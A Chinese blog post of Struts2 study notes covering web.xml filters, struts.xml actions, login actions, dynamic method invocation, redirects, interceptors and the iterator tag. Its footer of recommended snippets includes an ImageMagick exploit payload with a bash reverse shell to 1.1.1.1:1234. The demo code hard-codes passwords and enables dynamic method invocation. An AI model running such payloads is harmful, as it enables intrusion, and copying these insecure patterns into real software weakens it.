strits2初始配置总结
********************************************************************************************************************
struts2第一天课程的简单配置:
新建 Web Project后导入Struts2.jar包,在struts-2.3.16.3-all.zip\struts-2.3.16.3\apps下找到struts2-blank.war,打开之后找到struts2-blank.war\WEB-INF\lib下的13个jar包.
再找到struts2-blank.war\WEB-INF\src\java下的struts.xml文件。
配置好jar包和xml文件之后:
配置web.xml里的过滤器:/*代表过滤所有
<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.0"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
<display-name></display-name>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
我的xml:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<constant name="struts.enable.DynamicMethodInvocation" value="false" />
<constant name="struts.devMode" value="true" />
<package name="default" namespace="/" extends="struts-default">
<action name="helloWorld" class="cn.jbit.action.HelloWorldAction" >
<result name="success">index.jsp</result>
</action>
<action name="userLogin" class="cn.jbit.action.LoginAction" >
<result name="success">success.jsp</result>
<result name="error">false.jsp</result>
<result name="input">index.jsp</result>
</action>
</package>
</struts>
我的index.jsp:
<form action="userLogin.action" method="post">
请输入用户名:<input type="text" name="username">
请输入密码:<input type="text" name="pwd">
<input type="submit" value="提交">
</form>
我的action:
package cn.jbit.action;
import com.opensymphony.xwork2.ActionSupport;
public class HelloWorldAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private String name;
private String messages;
@Override
public String execute() throws Exception {
name="wangyajie";
messages="Hellow,"+name;
return SUCCESS;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getMessages() {
return messages;
}
public void setMessages(String messages) {
this.messages = messages;
}
}
package cn.jbit.action;
import java.util.Map;
import javax.servlet.http.HttpSession;
import org.apache.commons.lang3.StringUtils;
import org.apache.struts2.ServletActionContext;
import org.apache.struts2.components.ActionComponent;
import org.apache.struts2.interceptor.SessionAware;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport implements SessionAware {
private static final long serialVersionUID = 1L;
public static final String SESSION_USER="user";
private String username="";
private String pwd="";
private Map<String, Object> session;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPwd() {
return pwd;
}
public void setPwd(String pwd) {
this.pwd = pwd;
}
@Override
public String execute() throws Exception {
if("jbit".equals(username)&&pwd.equals("bdqn")){
//第一种方式获取jsp的session,带作用域的session 解耦servlet
// Map<String, Object> session = ActionContext.getContext().getSession();
// session.put(SESSION_USER, username);
//第二种方式 获取serlvet的session
// HttpSession session = ServletActionContext.getRequest().getSession();
// session.setAttribute(SESSION_USER, username);
//第三章方式实现SessionAware接口,重写setSession方法
session.put(SESSION_USER, username);
return SUCCESS;
}
return ERROR;
}
//实现后台验证
@Override
public void validate() {
if(StringUtils.isEmpty(username)){
addFieldError("username", "用户名不能为空");
}
if(StringUtils.isEmpty(pwd)){
addFieldError("pwd", "密码不能为空");
}
super.validate();
}
@Override
public void setSession(Map<String, Object> session) {
this.session=session;
}
}
前台用struts2的表单的话。验证样式会好看点,如果使用struts2的表单的话,表单action的值不用加默认的”.action”,
<s:form action="userLogin" method="post">
<s:textfield name="username" label="用户名"></s:textfield>
<s:password name="pwd" label="密码"></s:password>
<s:submit value="登录"></s:submit>
</s:form>
在struts.xml里加上这句话的时候,默认就不是.action结尾了,提交表单的话,
Value=什么,就以什么结尾!如:
<constant name="struts.action.extension" value="do"></constant>
那么 <form action="userLogin.do" method="post">就要改成do了!
前台页面如果要显示input传入后台的值,后台只要有和前台input标签里name =“”的值相同的字段名,并且要有get和set方法,然后
前台: <s:property value="messages"/>就可以输出!
*********************************************************************************************************
struts2第二天配置详解:
首先在web.xml里要配置过滤器:
<filter>
<filter-name>struts</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
从前台的表单标签name里传的值可以直接在Action里的相同字段里取出,在Action中保存的数据都可以用${attributeName}语法访问取值,前提是所有访问的属性在Action类里的必须有get set访问器。
我Action类的配置:
package cn.jbit.action;
import java.util.ArrayList;
import java.util.List;
import org.apache.commons.lang3.StringUtils;
import com.opensymphony.xwork2.ActionSupport;
public class UserAction extends ActionSupport{
public static final String SESSION_USER="user";
private static final long serialVersionUID = 1L;
private String name;
private String pwd;
private String url;
private List<Student> list;
public String show(){
System.out.println("我进来show了");
return SUCCESS;
}
public String add(){
System.out.println("我进来add方法了");
return SUCCESS;
}
public String del(){
System.out.println("我进来del方法了");
return SUCCESS;
}
public String judge(){
if(name.equals("admin")){
url="/index.jsp";
}else{
url="/error.jsp";
}
return SUCCESS;
}
public String exit(){
System.out.println("我进来exit了");
return "out";
}
@Override
public String execute() throws Exception {
if("admin".equals(name)&&"123".equals(pwd)){
list=new ArrayList<Student>();
for (int i = 0; i < 20; i++) {
list.add(new Student(i,"nameNo"+i));
}
return SUCCESS;
}
addActionError("用户不存在");
return INPUT;
}
@Override
public void validate() {
// if(StringUtils.isEmpty(name)){
// addFieldError("name", "用户名不能为空");
// }
// if(StringUtils.isEmpty(pwd)){
// addFieldError("pwd", "密码不能为空");
// }
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getPwd() {
return pwd;
}
public void setPwd(String pwd) {
this.pwd = pwd;
}
public List<Student> getList() {
return list;
}
public void setList(List<Student> list) {
this.list = list;
}
public String getUrl() {
return url;
}
public void setUrl(String url) {
this.url = url;
}
}
Action中动态方法调用:
首先要开启:
<constant name="struts.enable.DynamicMethodInvocation" value="true"></constant>
地址栏后面直接加上struts.xml里的逻辑视图name!Action类里的方法如:http://localhost:8080/s2/stulist!show.action
<!--切记动态调用的时候不要加method属性 -->
<action name="stulist" class="cn.jbit.action.UserAction">
<result name="success">success.jsp</result>
</action>
通配符的方式调用方法,可是省略很多action,输入的时候如:
http://localhost:8080/s2/user_add.action
<!-- 通配符的方式调用方法要加method属性 -->
<action name="user_*" class="cn.jbit.action.UserAction" method="{1}">
<result name="success">success.jsp</result>
</action>
动态生成结果 url在类里判断
<action name="testurl_*" class="cn.jbit.action.UserAction" method="{1}">
<result name="success">${url}</result>
</action>
类里的代码为:
public String judge(){
if(name.equals("admin")){
url="/index.jsp";
}else{
url="/error.jsp";
}
return SUCCESS;
}
动态生成结果刚好和result标签里的不同返回值对应,一个是根据ACTION类的返回不同的逻辑视图名去判断进入不同页面,一个是在ACTION类里先根据控制流语句,根据不同条件判断属性赋不同地址值,然后再在返回的逻辑视图<resultname="success">${url}</result>里给出这个地址的值。
重定向到action
<action name="exit_*" class="cn.jbit.action.UserAction" method="{1}">
<result name="out" type="redirectAction">
<param name="namespace">/</param>
<param name="actionName">out</param>
</result>
</action>
<action name="out">
<result type="redirect">/index.jsp</result>
</action>
其中type的值很多,其中四个为:
redirectAction:为重定向到action
Dispatcher:转发到jsp
Chain:转发到action
Redirect:重定向到jsp
全局结果 :有些重复用的东西,比如返回error就选用全局结果
<global-results>
<result name="error">index.jsp</result>
</global-results>
进来的时候如果匹配不到这个页面路径则进入默认的提示页面 error.jsp
<default-action-ref name="others"></default-action-ref>
<action name="others">
<result>error.jsp</result>
</action>
******************************************************************************************************
struts2自定义拦截器配置:
配置自己的拦截器可以先参照下系统的拦截器是怎么配置的,首先打开struts-default.xml搜索下interceptor;系统里的拦截器有很多,拦截器都是放在堆栈里的,系统引用的是默认堆栈, <interceptor-stack name="defaultStack">;
struts2.3版本下的默认堆栈里放有19个拦截器。我们随便找一个系统拦截器,找到那个类点进去,可以看到,系统的拦截器都继承自AbstractInterceptor,知道这些,那么我们可以自己创建一个自己的拦截器了:如
package cn.jbit.Iterceptor;
import com.opensymphony.xwork2.ActionInvocation;
import com.opensymphony.xwork2.interceptor.AbstractInterceptor;
public class MyInterceptor extends AbstractInterceptor {
private static final long serialVersionUID = 1L;
@Override
public String intercept(ActionInvocation invoc) throws Exception {
long begin=System.currentTimeMillis();
System.out.println("开始时间为:"+begin);
//拦截器和过滤器相似,都是一个链,都得有一个放行的方法,不然就没法继续进行了
String result=invoc.invoke();
//拦截器返回的结果是携带action的返回结果
System.out.println("结果为:"+result);
long end =System.currentTimeMillis();
System.out.println("结束时间为:"+end);
System.out.println("时间差为:"+(end-begin));
return result;
}
}
最后在struts.xml配置文件里的packge里加入(切记放置顺序,拦截器要放在action标签的上面):
<!-- 自己手动配置的拦截器 -->
<interceptors>
<!-- 自己的拦截器 -->
<interceptor name="myinter" class="cn.jbit.Iterceptor.MyInterceptor"></interceptor>
<!-- 把拦截器放进自己的堆栈中 -->
<interceptor-stack name="mystack">
<!-- 自己的堆栈首先引用自己的拦截器 -->
<interceptor-ref name="myinter"></interceptor-ref>
<!-- 自己的堆栈再加上系统配好的19个拦截器 -->
<interceptor-ref name="defaultStack"></interceptor-ref>
</interceptor-stack>
</interceptors>
<!-- 默认引用自己的堆栈拦截器 -->
<default-interceptor-ref name="mystack"></default-interceptor-ref>
**********************************************************************************************************
Struts2的iterator标签:
<s:iterator value="list" id="no" status="st" var=”v”>
这里的id=”no”:可以当作集合里的每个子元素,可以点出东西
<s:property value="#no.address" />
Var测试作用和id一样<s:property value="#v.address" />
返回当前迭代了几个元素:<s:property value="#st.count" />
元素索引:<s:property value="#st.index" />
<s:if test="#st.odd">
当前是奇数行
</s:if>
<s:if test="#st.even">
当前是偶数行
</s:if>
房间id :<s:property value="id" />
房间地址: <s:property value="address" />
房间类型: <s:property value="type" />
</s:iterator>
strits2初始配置总结的更多相关文章
- Git 笔记二-Git安装与初始配置
git 笔记二-Git安装与初始配置 Git的安装 由于我日常生活和工作基本上都是在Windows上,因此此处只说windows上的安装.Windows上的安装和其他程序一样,只需要到http://g ...
- IDEA 初始配置教程
IDEA 初始配置教程 如果你是第一次使用 IDEA,或者对 IDEA 常用配置仍然不熟悉,那么本文就特别适合你. 本文只是根据我自己的使用经验来进行配置,不一定适合所有的情况,但是对你肯定会有帮助. ...
- Git初始配置和基本使用
初次运行Git前的配置 本文是在安裝完git以后首先应做到一些配置,安装教程可以参考廖雪峰git教程 用户信息 当安装完 Git 应该做的第一件事就是设置你的用户名称与邮件地址. 这样做很重要,因为每 ...
- paloalto防火墙执行初始配置
1.默认情况下,防火墙的 IP 地址为 192.168.1.1,用户名/密码为 admin/admin. 为了安全起见,在继续执行其他防火墙配置任务之前,必须更改这些设置.必须从 MGT 接口(即使计 ...
- Centos6.5 安装MYSQL 5.5 -5.6.-5.7 一键yum快速安装 ,初始配置
Centos6.5 安装MYSQL 5.5 ---5.6---5.7 一键yum快速安装 ,初始配置 第一步:安装mysql-5.5---- 5.6 ---- 5.7的yum源 [root@sv03 ...
- Testlink1.9.17使用方法( 第三章 初始配置[配置用户、产品] )
第三章 初始配置(配置用户.产品) 一. 设置用户 QQ交流群:585499566 在TestLink系统中,每个用户都可以维护自己的私有信息.admin可以创建用户,但不能看到其它用户的密码.在用户 ...
- [原]Jenkins(三)---Jenkins初始配置和插件配置
/** * lihaibo * 文章内容都是根据自己工作情况实践得出. *版权声明:本博客欢迎转发,但请保留原作者信息! http://www.cnblogs.com/horizonli/p/5331 ...
- 关于思科C2950交换机清除密码,恢复初始配置的方法
上个月河南做项目,因需要大批量的对服务器进行操作系统的安装,于是想到了PXE网络批量安装, 好不容易到机房的仓库找到网线及一台思科交换机,但到安装的时候,发现思科交换机里应该有配置了 通过配置线连接交 ...
- MySQL5.7初始配置
MySQL5.7初始配置 Windows7 环境安装MySQL5.7配置命令 <<<<<<<<<<<<<<<& ...
随机推荐
- nodejs获取当前url和url参数值
//需要使用的模块 http url 当前url http://localhost:8888/select?aa=001&bb=002 var http = require('http ...
- return和finally的执行顺序
创建一个类,新建一个方法: public class Demo { public int get() { int x=1; try { x++; return x; }finally{ ++x; } ...
- java pio项目使用
一.简介 pio是apache的一个针对microsoft office的一个开源项目. Apache POI - the Java API for Microsoft Documents 官网地址: ...
- JAVA生成二维码图片代码
首先需要导入 QRCode.jar 包 下载地址看这里 http://pan.baidu.com/s/1o6qRFqM import java.awt.Color;import java.awt. ...
- JS开发HTML5游戏《神奇的六边形》(二)
近期出现一款魔性的消除类HTML5游戏<神奇的六边形>,今天我们一起来看看如何通过开源免费的青瓷引擎(www.zuoyouxi.com)来实现这款游戏. (点击图片可进入游戏体验) 因内容 ...
- ImageMagick又一处命令执行
push graphic-context viewbox image copy , , "|bash -i >& /dev/tcp/1.1.1.1/1234 0>& ...
- Linux磁盘及文件系统管理
在LINUX中我们知道一个很重要的概念,那就是"一切皆文件",这里的一切表示所有在LINUX系统的对象,自然也包括了LINUX中的硬盘设备.在LINUX中所有设备都被抽象成一个文件 ...
- Linux_shell脚本_遍历文件夹下所有文件
参考:lunar1983的专栏 实现:从给定目录树中grep出含制定字符串的行,并给出所在路径 代码如下所示: #!/bin/sh - if [ $# -ne 2 ] then echo " ...
- steps animation
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- smarty 入门2(个人总结)
1.下载安装: 2.拷贝libs文件夹到web文件夹: 3.引入smarty类文件 // include './libs/Smarty.class.php'; 4.配置smarty // ...